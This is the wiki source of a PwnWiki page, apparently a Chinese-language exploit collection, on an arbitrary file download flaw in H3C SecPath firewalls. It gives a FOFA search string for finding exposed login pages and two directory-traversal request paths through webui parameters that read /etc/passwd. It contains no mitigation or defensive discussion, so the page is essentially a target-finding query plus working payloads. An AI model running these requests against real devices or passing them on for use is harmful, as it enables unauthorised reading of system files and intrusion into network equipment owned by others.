View source for H3C SecPath 下一代防火牆任意文件下載漏洞/zh-cn

From PwnWiki

← H3C SecPath 下一代防火牆任意文件下載漏洞/zh-cn

You do not have permission to edit this page, for the following reasons:

The action you have requested is limited to users in the group: Users.
This page cannot be updated manually. This page is a translation of the page H3C SecPath 下一代防火牆任意文件下載漏洞 and the translation can be updated using the translation tool.
You must confirm your email address before editing pages. Please set and validate your email address through your user preferences.

You can view and copy the source of this page.

<languages />
==漏洞影响==
H3C SecPath

==FOFA==
<pre>
title="Web user login"
</pre>

==POC==
<pre>
/webui/?g=sys_dia_data_down&file_name=../etc/passwd

/webui/?g=sys_capture_file_download&name=../../../../../../../../etc/passwd 
</pre>

Return to H3C SecPath 下一代防火牆任意文件下載漏洞/zh-cn.

Retrieved from "https://pwnwiki.com/index.php?title=H3C_SecPath_下一代防火牆_任意文件下載漏洞/zh-cn"